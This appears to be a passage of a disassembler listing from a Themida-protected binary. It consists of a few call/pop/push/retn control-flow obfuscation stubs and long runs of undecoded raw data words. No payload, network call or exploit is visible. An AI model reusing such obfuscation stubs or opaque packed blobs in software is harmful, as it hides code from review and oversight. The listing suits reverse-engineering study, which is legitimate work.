		jnz	short loc_5F2A23
		push	0
		push	esi
		call	sub_5F2A3A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2A3A	proc near		; CODE XREF: Themida_:005F2A32p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5F2A3A	endp

; ---------------------------------------------------------------------------
		dw 0D589h
		dd 0D19CBF3h, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0E2C35141h, 0B70F43B9h, 0C1958BFAh, 8B07FA27h
		dd 18D8BDFh, 307FA1Ch, 0FA0621BDh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D64BC350h
		dd 0C951B001h, 0BF0FDC9Eh, 699D8BD8h, 6A07FA08h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 8238C350h, 0BD832B38h, 7FA0741h, 6C840F00h, 0F000000h
		dd 0C89h, 6800F00h, 89000000h, 0FA0CBDBDh, 0B807h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0DA3687C3h, 0C9E3DD14h, 0FE930C8h, 31000000h, 0BD5E511Fh
		dd 0D5FB3A89h, 4E66957Dh, 8D8DE5C2h, 7FA4F53h, 0AE9h, 8C81F800h
		dd 5C492EE3h, 0FF982B1Eh, 89BD03E1h, 8307FA13h,	0FA1AEDBDh
		dd 840F0007h, 3A8h, 3019D89h, 858907FAh, 7FA0CE1h, 1AEDBD83h
		dd 0F0107FAh, 3AA84h, 4961BF00h, 0BD8353C3h, 7FA1AEDh
		dd 62860F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0CD05C353h,	781AB004h
		dd 0DE8B60EAh, 52006A60h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0D98C668Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ABC35545h, 8BFEC5A0h
		dd 8B04E180h, 0FA21A1BDh, 0FC90A07h, 0D884h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B23F13Ch, 0FA17D585h, 33DE8B07h, 0FA1A4185h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0DE8BB66Ch, 0F73DBB90h, 6650302Eh, 9005EBBFh, 13998589h
		dd 6A07FAh, 66D98B66h, 687F89BFh, 0AA4D8B41h, 0F18B6660h
		dd 24048161h, 55D178BEh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0BDC35545h, 46A9D34h,	0FFC49FE7h, 0FA178595h
		dd 81958907h, 8907FA09h, 0FE7BF885h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 698D8981h
		dd 0F07FA20h, 95E9DEBFh, 8B000001h, 0F0858BF9h,	0F07FE7Bh
		dd 0F8Ch, 0AE900h, 7C5B0000h, 0FA2F2A87h, 4019BFF7h, 1800C7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 42FA80C3h, 8B07218Bh, 0F4B58B34h,	6A07FE7Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 586FC353h, 0A92DA69Dh, 858B87FEh,	7FA06E1h
		dd 1870Fh, 89FC0000h, 0FA10CDBDh, 6A068907h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 7B8EC355h, 0CA13872Bh, 9E845h, 3B230000h, 6EB95786h
		dd 66326C5Fh, 4069DB81h, 858BF85Fh, 7FA17D5h, 2DB58B60h
		dd 0E907FA18h, 0Bh, 53917331h, 6C88FC5h, 6178FEE0h, 6A044689h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 96B9C350h, 79C9BF66h, 0BEBABF50h,	89966258h
		dd 0FA15558Dh, 0D9D8B07h, 0FF07FA33h, 0FE7BF0B5h, 68FA8B07h
		dd 0D9A5378h, 5E8h, 2DF2F800h, 870F8FFDh, 3, 5FFE8B66h
		dd 87243481h, 8B0D8550h, 0FA07359Dh, 0F8858D07h, 6A07FE7Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 53E8C357h, 37195C12h, 0E58D01DEh,	5007FA16h
		dd 4898FB7h, 85036024h,	7FA0675h, 7E8h,	14536A00h, 70B97194h
		dd 615F5B51h, 178595FFh, 0BD0907FAh, 7FA0BE5h, 0BB665061h
		dd 0C75BE2A2h, 0FA1AED85h, 307h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 44DEE88Bh
		dd 7BF8BD83h, 0F0007FEh, 4484h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D99D29D9h
		dd 0E907FA1Bh, 38h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 77C35747h, 0C3050A9h,	11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 41C35343h, 0D88B66F9h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 67C35040h, 14697A36h
		dd 0EA22BF7Ah, 1541B501h, 0E78107FAh, 14BB966Eh, 1AEDBD83h
		dd 0F0307FAh, 43B85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0F8E8552Fh, 8B0F32BAh
		dd 3, 83DE8B66h, 0FE7BF8BDh, 840F0007h,	404h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 8CC35242h, 3E828E01h
		dd 0EABB987Ch, 0B5896041h, 7FA25E1h, 0C7F78166h, 0B5FF613Dh
		dd 7FE7BF8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0E3C35242h, 9A7BEF2Bh, 9BD38180h, 0F41C924h, 95FFDABFh
		dd 7FA014Dh, 0B58BDA8Bh, 7FE7BECh, 11E960h, 39310000h
		dd 29018187h, 8F9992A9h, 9FCC645Ch, 0FC649093h,	106C761h
		dd 0F000100h, 0F96DEBFh, 1D8Ah,	53525000h, 0E8310F5Bh
		dd 0Fh,	62DB9416h, 0C9E21ED5h, 89AD7C09h, 5B2E454Ah, 6650585Ah
		dd 6A96F98Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0F338C355h, 0B99509BCh, 0FF07FA19h
		dd 0FE7BF8B5h, 0FEBF0F07h, 161D95FFh, 8BF907FAh, 0FE7BECB5h
		dd 8E807h, 34520000h, 0AD830398h, 0BD8BBB96h, 7FA257Dh
		dd 9858B5Fh, 6A07FA0Bh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0D92DC357h,	0F19DC549h
		dd 89DC8A32h, 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 3DB2C0D6h, 800FE3h, 8B000000h
		dd 0FA27C195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 585894Ch, 6607FA26h, 83F042BBh
		dd 8E904C2h, 27000000h,	3D41529Eh, 89027DB0h, 858D2050h
		dd 7FE90A3h, 880FFA8Bh,	3, 896FE380h, 0B886h, 0BDBD2300h
		dd 0BB07FA02h, 96A5359h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BF7ABC3h, 0FA183DBDh
		dd 0F8B5FF07h, 6A07FE7Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0F2B8C357h,	0E64707EDh
		dd 0C109A45Eh, 1770F6BFh, 0F995FF2Ch, 5607FA1Eh, 0A2F38153h
		dd 5B411BD6h, 34BB665Bh, 52509640h, 0FFB8B66h, 2D1BBB31h
		dd 585A2663h, 0F88B6650h, 0F8B5FF96h, 6A07FE7Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0E3FAC353h, 0CBE780F5h, 76595FFh, 6A07FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BB4A8C3h, 0FA24219Dh, 0D99D8907h, 8307FA21h, 0FA1EC5BDh
		dd 840F0007h, 2Fh, 96FE8B66h, 9650F98Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 15C35545h, 0C9806460h
		dd 0E25B53FFh, 0FFFA8B66h, 0FE7BF8B5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0FF321281h, 0FA18F595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 9895E7AAh
		dd 0F1BD8B7Ah, 0B307FA16h, 0F8B5FF40h, 6607FE7Bh, 95FFFA8Bh
		dd 7FA1EB1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0FBC35646h, 0E2A2DE9Eh,	8A2F8365h, 0F59D8BDEh
		dd 8307FA23h, 0FA26F5BDh, 840F0207h, 73h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0A3C35343h, 4BD1E09Fh
		dd 0ECC6E781h, 858B4546h, 7FA1419h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B7C35040h,	15E72A8Fh, 104F0CD7h
		dd 0C6B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	36C35545h, 0C7F6B3F2h, 0FA05B185h, 7, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0CBB785CAh, 0FFF445E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 2E4A383Bh
		dd 19E65892h, 0BB66D6C9h, 6E924BCh, 7F000000h, 0CEDCA7FAh
		dd 8DC18B0Fh, 0FA150D85h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 895001DEh
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 6A70C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 36C35343h, 0E89D123Ah, 5101D770h, 35658589h
		dd 0E85B07FAh, 9, 27AE18CBh, 0D0E4CEC3h, 0FE8A6076h, 17D8D89h
		dd 5B6107FAh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FED67EC3h, 283E9696h, 10CDBD89h
		dd 858D07FAh, 7FF1B18h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 64C35141h, 4D2F93ECh,	9D896465h, 7FA0BF9h
		dd 8A05C083h, 8B6090FAh, 9E9CAh, 56A0000h, 0CB67D726h
		dd 61B2C23Dh, 2CBF5750h, 5F5E4118h, 399D8B90h, 6A07FA19h
		dd 6800F00h, 8B000000h,	0FA1AB5BDh, 6A006A07h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FAFC357h, 384h, 0DA8B6600h,	174D95FFh, 0B5207FAh, 0FA0CD99Dh
		dd 8D8D5F07h, 7FE7ADBh,	4DD9589h, 0F38107FAh, 185CFCDFh
		dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 991916C3h, 0F1ED4C04h, 1D9589E2h,	8307FA05h
		dd 0FA27ADBDh, 850F0107h, 68h, 6AD8B70Fh, 52006A02h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0AB0C93FBh, 49950174h, 9007FA02h, 2B2DBF66h,	52506050h
		dd 0FF28B66h, 12E931h, 0AB250000h, 5436B94Fh, 0D22A40C0h
		dd 6B108923h, 3C63B023h, 9061585Ah, 0CDBD8B51h,	5B07FA08h
		dd 1EF995FFh, 0BD8B07FAh, 7FA2E71h, 0D47E9h, 0E800h, 815D0000h
		dd 0FF1B22EDh, 13E95707h, 59000000h, 0BC6D50AAh, 2185E439h
		dd 532D40B9h, 0F07BFDC1h, 665F0B12h, 5691CB81h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FC35242h, 0F1963367h
		dd 8BFBD675h, 0FA06D99Dh, 0A2858D07h, 8907FE4Fh, 0FA290D8Dh
		dd 10E85007h, 3B000000h, 0BD8B9E9Eh, 7F2113D4h,	0ECEB3DEAh
		dd 575229E8h, 0B1B2E8BBh, 895B5B73h, 0A7B72404h, 0F2CB8056h
		dd 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5F36BB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F36BB	proc near		; CODE XREF: Themida_:005F36B3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5F36BB	endp

; ---------------------------------------------------------------------------
		db 0B2h
		dd 0B4787401h, 65E55DB9h, 258964h, 0E8000000h, 0Fh, 8BF40132h
		dd 5117C6A3h, 5ACEF06h,	60769CC8h, 0D58A6160h, 85FF5F61h
		dd 7FA3125h, 26C38166h,	6AFF6A92h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 6BCDC353h
		dd 8B9A6D4Eh, 45B5FFF9h, 6A07FA2Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0E7B9C350h
		dd 0CD8D7FFAh, 8B1AB17Ch, 0D9B589F8h, 0FF07FA17h, 0FA018D95h
		dd 137E907h, 0BB660000h, 0B0CE10h, 0E6F9BF0Fh, 59D8B70h
		dd 8907FA15h, 0FA2069B5h, 0F71E407h, 68Dh, 759D8900h, 6607FA32h
		dd 3AB2DB81h, 830F613Ch, 105h, 31299D89h, 8B0F07FAh, 6
		dd 27C59529h, 0B60F07FAh, 6BAC8h, 8D890000h, 7FA2E19h
		dd 0BD89C18Bh, 7FA051Dh, 8D61F381h, 0E8C13306h,	0D9BD8B04h
		dd 6607FA26h, 10E9E2F7h, 0C9000000h, 3D768860h,	176D8D1Fh
		dd 29582B5Eh, 50D21AE2h, 5FDA8B66h, 0BF66C82Bh,	0D18BA4E0h
		dd 27B99D31h, 0DE907FAh, 0F000000h, 481h, 0F1BF6600h, 0F88B66E1h
		dd 151D858Bh, 10E907FAh, 3B000000h, 4D3DECCEh, 0D635A07Bh
		dd 0DABCB8BBh, 319C3FB2h, 0FA0339B5h, 7C08307h,	2856C2BBh
		dd 0C08323h, 4843DB81h,	0D03B57BAh, 22830Fh, 0E8500000h
		dd 0Ah,	0AA202C3Dh, 46023C01h, 5B5F9D61h, 40E9h, 2C3ABF00h
		dd 9D090123h, 7FA1E5Dh,	11798D8Bh, 0BD2B07FAh, 7FA0535h
		dd 0F01E183h, 2084h, 0EB816600h, 0A583250Eh, 7FA1179h
		dd 29C381FEh, 894F5070h, 0FA151D95h, 9EF8007h, 0E9h, 86B58D00h
		dd 6A07FE9Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0A958C350h, 9EC49033h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0EB2BFFC3h, 44FBEB02h, 9ABF66E9h, 1F19BF80h,	95FF3808h
		dd 7FA012Dh, 0F28B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 508EBFB6h, 0ABF06A01h
		dd 68D0Fh, 0BD090000h, 7FA06F1h, 6AFCE183h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FCE0C356h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7EC35242h
		dd 6EFE5EA0h, 0FB8B2ED6h, 0B8h,	0BA00h,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 81DDC0C3h, 779C13F3h, 0C233AD44h, 0D003E8D1h, 7504E983h
		dd 0D59D8BF4h, 6A07FA19h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 56D3C350h, 3805EEAh
		dd 6E8F46Bh, 28000000h,	26DF8A2Ah, 880D5F29h, 29000000h
		dd 0FA0BF995h, 799D2B07h, 8B07FA17h, 0FA27C195h, 5E907h
		dd 1A290000h, 8B3EEBD7h, 0FA1C018Dh, 0EDBD8B07h, 5007FA0Bh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0FB8B6658h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2EC35545h
		dd 8D89C738h, 7FA0D01h,	741BD83h, 0F0007FAh, 4C84h, 0CCEF8000h
		dd 0B8h, 5BF95100h, 1B598D01h, 8D8D07FAh, 7FA4F53h, 0FFDE8B66h
		dd 53006AE1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F3B4FDDh, 68Ch,	9BD2900h, 8B07FA01h, 0FA24119Dh
		dd 0EDBD8307h, 7FA1Ah, 439840Fh, 8D310000h, 7FA1B9Dh, 1AEDBD83h
		dd 0F0107FAh, 44184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 89E43F8Ah, 0FA126DBDh
		dd 0EDBD8307h, 307FA1Ah, 3DA860Fh, 0BD2B0000h, 7FA16E5h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 40DF948Ah, 8C660A53h, 50006AD9h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 895A5123h
		dd 0FA24C19Dh, 5BD0B07h, 8007FA21h, 0D98B04E1h,	840FC90Ah
		dd 129h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0C8C35040h, 8B4FC380h, 0FA17D585h, 33F98B07h, 0FA1A4185h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD8B5C90h, 7FA0239h, 0DF8B6650h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 8B42C350h, 348B0721h, 0C99D8B93h,	0E907FA32h
		dd 0Bh,	94A7020Fh, 1EB1D83Ah, 6AA537E6h, 319D2300h, 0E807FA31h
		dd 4, 1F03FFh, 50F98B66h, 448BDD8Ah, 0FE8A0424h, 4489008Bh
		dd 0BF660424h, 0F588824h, 95FFDBB7h, 7FA1785h, 3AD9D2Bh
		dd 858907FAh, 7FE7BF8h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 75C35646h, 1901BD8Bh,	0F5E907FAh, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0F84C352h, 0CE860h, 0EC750000h, 0FE6645D2h
		dd 3BD08A6h, 0CF81DA56h, 3A456F36h, 0F0858B5Bh,	6A07FE7Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 3511C351h, 8D296A0Dh, 7FA3191h, 346DBD89h
		dd 0C707FAh, 18h, 7BF4B58Bh, 6A07FEh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 2D55C2C3h
		dd 9FBFA3D6h, 0BB70B435h, 231CA70h, 6E1858Bh, 880F07FAh
		dd 2, 689F88Bh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	7BC35040h, 0D9236251h, 4AAC1E37h, 0DE8h, 971A6900h
		dd 8950C642h, 32C14E37h, 0DE8B8A06h, 0D5858B5Fh, 6A07FA17h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 27C8C353h, 8E9CDh, 0EB7E0000h, 0BAE7F977h
		dd 46897467h, 96FB8B04h, 8A502CB3h, 6A96D9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 586A39C3h
		dd 8410BC4Eh, 191BD8Bh,	0B5FF07FAh, 7FE7BF0h, 7B1BFE68h
		dd 0FD8FBF40h, 348138D8h, 64180124h, 51006A40h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E33EF3B2h
		dd 0F8858D20h, 6A07FE7Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CCF1C351h,	26714B9Ah
		dd 2E699D8Bh, 669007FAh, 508872BBh, 0EE8h, 226BC100h, 0D4D8679Eh
		dd 0E2E03A0Ch, 0F8EF2ABh, 138Ch, 0DE800h, 48A00000h, 3EF68D9Eh
		dd 0A8E82508h, 5F6C513Dh, 0B589905Bh, 7FA05FDh,	178595FFh
		dd 0BD8907FAh, 7FA3325h, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8B667204h, 0D1BD8BF9h
		dd 0C707FA17h, 0FA1AED85h, 307h, 0CE900h, 9100000h, 8C0E41A5h
		dd 3F3E9766h, 0BD83BF88h, 7FE7BF8h, 41840F00h, 8B000000h
		dd 0FA26F99Dh, 99B52907h, 0E907FA07h, 4Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 59C35242h, 78477916h
		dd 9E9B811h, 6A000000h,	2A1F24A5h, 0F7279297h, 110C3050h
		dd 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 0FA2599BDh
		dd 0FE907h, 0EB650000h,	9D83B334h, 0DBF164AFh, 2009E5E9h
		dd 0EDBD83A1h, 307FA1Ah, 3D6850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 242BBAC3h
		dd 59A29F55h, 0D8B70FE6h, 7BF8BD83h, 0F0007FEh,	3A384h
		dd 0F8B5FF00h, 6A07FE7Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 5D50C352h, 2F9B27B6h
		dd 80693FE5h, 0FFFC36F7h, 0FA014D95h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 10073029h, 0E9B5D039h, 14h, 0ADCB777Dh, 0D37DB32Eh
		dd 4332AC66h, 0CD26CBBAh, 1DA3F827h, 2FABB66h, 7BECB58Bh
		dd 4ABB07FEh, 0C753540Eh, 1000106h, 9D9D8B00h, 5007FA1Ah
		dd 79A77BBBh, 24348932h, 7BF8B5FFh, 6A07FEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0EF9CEFC3h
		dd 0A74630E2h, 0B5896558h, 7FA129Dh, 161D95FFh,	6A07FAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 205619C3h, 8BC361B4h, 0FE7BECB5h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9FA15158h
		dd 0B09858Bh, 8B0F07FAh, 6, 1F6DBD8Bh, 868907FAh, 0C4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BDC35343h
		dd 6654E442h, 8BC00CBFh, 0FA18A5BDh, 0C1958B07h, 6A07FA27h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A3F3C351h, 184C216Eh, 83D8BF0Fh,	8B6604C2h
		dd 205089F8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	0CFC35646h, 7C29041h, 8BE90812h, 0FA3411BDh, 9E807h
		dd 0B3B30000h, 9B002FD0h, 8B3E6466h, 0FA06359Dh, 858D5B07h
		dd 7FE90A3h, 89FE8B66h,	0B886h,	38F0F00h, 0F000000h, 6AFFBFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2AC35343h
		dd 8881DCD0h, 0B5FFA4C1h, 7FE7BF8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0EC35646h, 1EAAA738h, 6F6E89A9h
		dd 0F3816697h, 95FFBA7Bh, 7FA1EF9h, 89BBDB80h, 0FA00DDB5h
		dd 0BB509607h, 38D354A8h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 35EDA838h
		dd 2701BD8Bh, 0BD0907FAh, 7FA25A9h, 7BF8B5FFh, 6A07FEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D8BDBC3h, 7FA074Dh,	76595FFh, 9D2B07FAh, 7FA1359h
		dd 1EC5BD83h, 0F0007FAh, 4384h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 99770B77h
		dd 7DF31FAh, 52525050h,	310F5250h, 0F5F585Ah, 3840BF31h
		dd 585A011Bh, 0F243489h, 38Dh, 0DAB70F00h, 7BF8B5FFh, 0BF0F07FEh
		dd 0F595FFD8h, 6A07FA18h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2D6AC351h, 0FAD8ADA5h
		dd 8BD21B6Ah, 0FA08F19Dh, 0F8B5FF07h, 8107FE7Bh, 75DDC9C7h
		dd 0B195FF4Bh, 5307FA1Eh, 0BD835FF8h, 7FA26F5h,	45840F02h
		dd 81000000h, 75AC52E3h, 0F995892Fh, 8B07FA02h,	0FA141985h
		dd 52DF8107h, 0C62A8C2Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 8E5C59C3h, 30DA8AB7h
		dd 0BD89B06Eh, 7FA18B9h, 5B185C7h, 7FAh, 0F7810000h, 73A2DB0Fh
		dd 0FFF3E8E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0F609BD0h, 9CBACFB7h
		dd 6113C088h, 8BFE8B66h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0E6964EF2h, 9509A03Fh
		dd 150D858Dh, 8D8907FAh, 7FA31F5h, 90BAD780h, 0E9565250h
		dd 5, 13BD1810h, 310F5B78h, 12E9h, 128B2500h, 67CDE644h
		dd 3558D701h, 7E3B7BFEh, 5A2C2853h, 8B665058h, 816690D8h
		dd 518262E3h, 5BD9589h,	6A5F07FAh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E31E249Eh
		dd 579CB740h, 0FB8BD1FFh, 6ADA8Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0BCC35545h,	0FE5C691h, 858DF9B7h
		dd 7FF2A27h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0E0C35545h, 5007536Bh, 7AD8589h, 835B07FAh, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 8CAFF5C3h, 0FA8A9051h, 9D099050h, 7FA15A9h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B4F912C3h, 9E84B08h, 49000000h, 7151086Ah, 8FDDC84Ch
		dd 25CD9D8Bh, 6A5B07FAh, 8B665700h, 95FF5FDAh, 7FA174Dh
		dd 8D8DFB8Bh, 7FE7ADBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0FCC35242h, 8E9h, 77914F00h, 0B759D54Fh
		dd 81BD096Fh, 0FF07FA01h, 899D8BD1h, 8307FA0Ah,	0FA27ADBDh
		dd 850F0107h, 3Fh, 8CD9D8Bh, 26A07FAh, 0AD9BD8Bh, 665007FAh
		dd 89D264BBh, 10E82404h, 24000000h, 5A0C74B5h, 61E7C6F3h
		dd 1B7B1EECh, 8A63D6EDh, 95FF5BDDh, 7FA1EF9h, 0F19D8960h
		dd 0F07FA03h, 0E961F7BFh, 0E0Fh, 0E8h, 0ED815D00h, 7FF2A31h
